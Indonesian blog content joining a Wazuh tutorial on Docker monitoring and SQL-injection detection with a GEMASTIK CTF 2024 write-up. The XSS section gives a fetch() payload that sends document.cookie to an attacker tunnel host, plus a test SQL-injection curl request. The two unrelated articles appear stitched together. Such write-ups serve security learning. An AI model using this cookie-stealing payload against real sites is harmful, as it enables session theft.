Pendahuluan

Docker telah menjadi teknologi containerization yang sangat populer di kalangan developer dan DevOps engineer. Namun, dengan semakin luasnya penggunaan Docker dalam production environment, kebutuhan akan monitoring dan keamanan container juga semakin meningkat. Di sinilah Wazuh dapat digunakan untuk melakukan monitoring pada Docker.

Dalam artikel ini, kita akan membahas bagaimana menggunakan Wazuh untuk monitoring Docker events dan activities secara real-time, serta implementasinya.

Apa itu Wazuh?

Wazuh adalah platform keamanan open-source yang menyatukan kemampuan XDR (Extended Detection and Response) dan SIEM (Security Information and Event Management) yang menyediakan berbagai capabilities untuk container security, termasuk:

• Centralized logging - Mengumpulkan log dari berbagai sumber
• Real-time monitoring - Monitoring aktivitas secara real-time
• Vulnerability scanning - Scan kerentanan security
• Incident response automation - Otomasi respons terhadap insiden keamanan

Prerequisites

Sebelum memulai, pastikan sudah memiliki:

1. Docker Server - Server yang menjalankan Docker engine
2. Wazuh Agent - Agent Wazuh terinstall pada Docker server
3. Wazuh Server - Wazuh agent sudah terdaftar ke Wazuh server

Langkah-langkah Konfigurasi

Step 1: Install Python Docker Library

Sebelum menginstall library, sebaiknya kita melakukan setup virtual environment terlebih dahulu supaya tidak mengganggu package global system.

1
2
3
cd /var/ossec/wodles/docker
python3 -m venv venv
source venv/bin/activate

Instal library Docker untuk Python yang diperlukan Wazuh Docker listener.

1
2
3
4
5
# Untuk Python 3.8–3.10
(venv) pip3 install docker==7.1.0 urllib3==1.26.20 requests==2.32.2

# Untuk Python 3.11–3.12
(venv) pip3 install docker==7.1.0 urllib3==1.26.20 requests==2.32.2

Update Shebang pada Script DockerListener

Edit file /var/ossec/wodles/docker/DockerListener:

1
nano /var/ossec/wodles/docker/DockerListener

Ubah baris pertama dari:

1
#!/usr/bin/env python3

Menjadi path ke venv:

1
#!/var/ossec/wodles/docker/venv/bin/python3

Uji Coba DockerListener

Uji coba jalankan binary DockerListener, pastikan terhubung ke Docker service.

1
sudo /var/ossec/wodles/docker/DockerListener

Step 2: Konfigurasi Wazuh Agent

Tambahkan konfigurasi berikut ke file /var/ossec/etc/ossec.conf pada Docker server:

1
2
3
<wodle name="docker-listener">
  <disabled>no</disabled>
</wodle>

Restart Wazuh agent untuk menerapkan perubahan:

1
systemctl restart wazuh-agent

Step 3: Konfigurasi Advanced (Optional)

Untuk konfigurasi yang lebih advanced, Anda dapat menggunakan berbagai opsi scheduling:

1
2
3
4
5
6
<wodle name="docker-listener">
  <interval>10m</interval>
  <attempts>5</attempts>
  <run_on_start>no</run_on_start>
  <disabled>no</disabled>
</wodle>

Penjelasan konfigurasi:

• interval: Waktu tunggu untuk rerun listener jika gagal
• attempts: Jumlah percobaan eksekusi listener jika gagal
• run_on_start: Jalankan listener segera saat Wazuh agent start
• disabled: Enable/disable Docker listener

Use Case 1: Monitoring User Interaction dengan Docker Container

Mari kita test monitoring Docker events dengan melakukan berbagai operasi container.

1. Jalankan Container

Jalankan container sederhana menggunakan image httpd:

1
docker run -d --name test-container httpd

Hasil monitoring dapat kita lihat pada Wazuh dashboard di module Threat Hunting atau Docker listener dashboard.

2. Pause, Resume, Stop Container

Lakukan operasi pause, unpause, dan stop pada container:

1
2
3
docker pause test-container
docker unpause test-container
docker stop test-container

Setiap operasi ini akan tercatat di Wazuh dashboard dengan detail event yang lengkap.

3. Remove Container dan Hapus Image

Hapus container dan image yang sudah tidak digunakan:

1
2
docker rm test-container
docker rmi httpd

Event removal juga akan terekam di Wazuh.

Use Case 2: Monitoring Container Runtime untuk Deteksi Web Attacks

Use case ini menunjukkan bagaimana Wazuh dapat monitoring runtime logs container web untuk mendeteksi serangan web, seperti SQL Injection.

Konfigurasi Wazuh Agent

Tambahkan konfigurasi berikut ke /var/ossec/etc/ossec.conf pada Docker server:

1
2
3
4
<localfile>
  <log_format>syslog</log_format>
  <location>/var/lib/docker/containers/*/*-json.log</location>
</localfile>

Restart Wazuh agent:

1
systemctl restart wazuh-agent

Konfigurasi Wazuh Server

Tambahkan decoder berikut ke /var/ossec/etc/decoders/local_decoder.xml pada Wazuh server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<decoder name="web-accesslog-docker">
  <parent>json</parent>
  <type>web-log</type>
  <use_own_name>true</use_own_name>
  <prematch offset="after_parent">^log":"\S+ \S+ \S+ \.*[\S+ \S\d+] \.*"\w+ \S+</prematch>
  <regex offset="after_parent">^log":"(\S+) \S+ \S+ \.*[\S+ \S\d+] \.*"(\w+) (\S+)</regex>
  <order>srcip,protocol,url,id</order>
</decoder>

<decoder name="json">
  <parent>json</parent>
  <use_own_name>true</use_own_name>
  <plugin_decoder>JSON_Decoder</plugin_decoder>
</decoder>

Restart Wazuh manager:

1
systemctl restart wazuh-manager

Testing SQL Injection Detection

Jalankan web container dengan nginx:

1
docker run --name test-container -p 80:80 -d nginx

Simulasi SQL injection attack:

1
curl -XGET "http://<WEB_IP_ADDRESS>/users/?id=SELECT+*+FROM+users"

Hasil Deteksi

Alert akan muncul pada Wazuh Dashboard dengan detail lengkap mengenai serangan SQL Injection yang terdeteksi:

Detail alert akan menampilkan informasi seperti:

• Source IP attacker
• URL yang diserang
• Payload SQL Injection
• Timestamp serangan
• Rule ID dan severity level

Referensi

• Wazuh Official Documentation
• Docker Security Best Practices
• Wazuh Docker Integration

Pada writeup kali ini, saya akan membahas dua challenge dari GEMASTIK CTF 2024 yang cukup menarik. Challenge pertama adalah Baby XSS yang merupakan challenge web exploitation, dan challenge kedua adalah Baby Structured yang merupakan challenge forensics terkait PNG file structure.

Challenge 1: Baby XSS

Deskripsi Challenge

Aku yang baru belajar XSS menemukan sebuah repo untuk automasi XSS challenge deployment, berikut reponya:
https://github.com/dimasma0305/CTF-XSS-BOT/
Bisakah kalian membantuku untuk melakukan exploitasi XSS sesuai pada repo kode vulnerable yang ada di repository tersebut?

URL: http://ctf.gemastik.id:9020/

Kategori: Web Exploitation

Analisis Awal

Sesuai dengan deskripsi challenge, ini merupakan challenge XSS (Cross-Site Scripting). Berdasarkan repository yang diberikan, vulnerability XSS terdapat pada halaman utama yaitu http://ctf.gemastik.id:9020/ dengan parameter x pada URL.

Testing XSS Payload

Saya mencoba melakukan XSS sederhana dengan menambahkan parameter ?x=alert(1) pada URL.

Ternyata payload XSS berhasil dieksekusi! Ini membuktikan bahwa aplikasi vulnerable terhadap XSS.

Mencari Target: Admin Bot

Halaman bot admin berada pada http://ctf.gemastik.id:9020/report. Halaman ini memungkinkan kita untuk mengirimkan URL yang akan dikunjungi oleh bot admin.

Dari kode bot yang tersedia di repository, terlihat bahwa flag dimasukkan ke dalam cookie pada browser bot.

Strategi Eksploitasi

Rencana eksploitasi adalah sebagai berikut:

1. Membuat HTTP Server sederhana untuk menerima request
2. Mengekspos server lokal ke internet menggunakan serveo
3. Membuat payload XSS yang akan mencuri cookie bot
4. Mengirimkan payload melalui halaman report
5. Menangkap cookie yang berisi flag

Membuat HTTP Server

Pertama, saya membuat file server.py untuk menangkap request yang masuk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
"""
License: MIT License
Copyright (c) 2023 Miel Donkers

Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
            
class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

Menjalankan Server dan Port Forwarding

Jalankan HTTP Server pada port 8080 dan ekspos ke publik menggunakan serveo:

1
2
3
4
5
# Terminal 1: Jalankan HTTP Server
python server.py 8080

# Terminal 2: Port forwarding dengan serveo
ssh -R 80:localhost:8080 serveo.net

Serveo akan memberikan URL publik yang dapat diakses dari internet, misalnya https://xxx.serveo.net.

Membuat Payload XSS

Payload XSS yang saya gunakan akan melakukan POST request ke HTTP Server dengan mengirimkan cookie sebagai body request. Berikut adalah payload yang digunakan:

1
http://proxy/?x=fetch(%27https://xxx.serveo.net%27,%20{method:%20%27POST%27,%20body:%20JSON.stringify(document.cookie)})

Payload ini akan:

1. Mengambil semua cookie dari browser bot menggunakan document.cookie
2. Mengkonversi cookie menjadi JSON string
3. Mengirimkan cookie tersebut ke server kita melalui POST request

Mengirim Payload ke Admin Bot

Masukkan URL berisi payload XSS ke dalam halaman admin bot (/report).

Mendapatkan Flag

Setelah bot mengunjungi URL yang kita berikan, kita akan menerima POST request di HTTP Server yang berisi cookie dari bot.

Dan kita berhasil mendapatkan flag!

Flag: gemastik{s3lamat_anda_m3ndap4tkan_XSS}

Challenge 2: Baby Structured

Deskripsi Challenge

my friend sent me a picture, but she say its got ‘cropped’. can you recover it?

Kategori: Forensics

Analisis File

Dari challenge ini kami diberikan sebuah file ZIP, dan ketika diekstrak terdapat sebuah gambar berformat PNG yang tidak dapat dibuka. Error ini disebabkan karena terdapat ketidakcocokan antara ukuran gambar (image size) dengan CRC checksum pada struktur PNG.

Untuk memverifikasi masalah pada file PNG, saya menggunakan tool pngcheck:

1
pngcheck file.png

Terlihat bahwa terdapat error pada IHDR chunk yang menunjukkan bahwa CRC checksum tidak cocok dengan data yang ada.

Memahami Struktur PNG

Untuk memperbaiki file PNG ini, kita perlu memahami struktur file PNG, khususnya bagian IHDR (Image Header).

IHDR Chunk Structure

IHDR adalah chunk pertama dalam file PNG yang berisi informasi dasar tentang gambar. Struktur IHDR terdiri dari:

• 4 byte: Width (lebar gambar)
• 4 byte: Height (tinggi gambar)
• 1 byte: Bit depth
• 1 byte: Color type
• 1 byte: Compression method
• 1 byte: Filter method
• 1 byte: Interlace method
• 4 byte: CRC checksum

Strategi Pemecahan

Karena CRC checksum tidak cocok dengan data IHDR, kemungkinan besar nilai width atau height yang salah. Untuk menemukan nilai yang benar, kita perlu melakukan brute force untuk mencoba berbagai kombinasi width dan height hingga menemukan nilai yang menghasilkan CRC checksum yang cocok.

Menggunakan PNG Dimensions Bruteforcer

Saya menggunakan tool dari GitHub yang dapat melakukan brute force terhadap dimensi PNG: https://github.com/cjharris18/png-dimensions-bruteforcer

Tool ini akan mencoba berbagai kombinasi width dan height dan mencocokkannya dengan CRC checksum yang ada di file. Ketika menemukan kombinasi yang tepat, tool akan berhenti dan menampilkan hasilnya.

1
./png_image_bruteforce.py -f file.png

Mendapatkan Flag

Setelah proses brute force selesai, tool berhasil menemukan dimensi yang tepat dan menghasilkan file PNG yang dapat dibuka. Berikut adalah gambar yang berhasil diperbaiki:

Flag: gemastik{g0t_cr0pped_by_structur3}

Kesimpulan

Dalam writeup ini, kita telah membahas dua challenge yang berbeda dari GEMASTIK CTF 2024:

Baby XSS

Challenge ini memberikan konsep:

• XSS (Cross-Site Scripting): Vulnerability yang memungkinkan attacker menjalankan JavaScript pada browser korban
• Cookie Stealing: Teknik mencuri cookie menggunakan XSS untuk mendapatkan data sensitif
• Admin Bot: Simulasi user yang akan mengunjungi URL berbahaya
• Out-of-Band Data Exfiltration: Mengirimkan data yang dicuri ke server attacker

Langkah preventif untuk menghindari XSS:

1. Selalu lakukan input validation dan sanitization
2. Gunakan Content Security Policy (CSP)
3. Encode output sebelum ditampilkan ke user
4. Gunakan HTTP-only flag pada cookie sensitif
5. Implementasi X-XSS-Protection header

Baby Structured

Challenge ini memberikan konsep:

• PNG File Structure: Memahami struktur internal file PNG, terutama chunk IHDR
• CRC Checksum: Mekanisme verifikasi integritas data dalam file PNG
• File Forensics: Teknik memperbaiki file yang corrupt atau rusak
• Brute Force: Metode untuk menemukan nilai yang tepat dengan mencoba berbagai kemungkinan

Pembelajaran dari forensics:

1. Memahami struktur file format sangat penting dalam digital forensics
2. Tool automation sangat membantu dalam proses brute force
3. CRC checksum dapat digunakan untuk memverifikasi integritas data
4. File yang tampak rusak masih bisa diperbaiki dengan pemahaman yang tepat tentang formatnya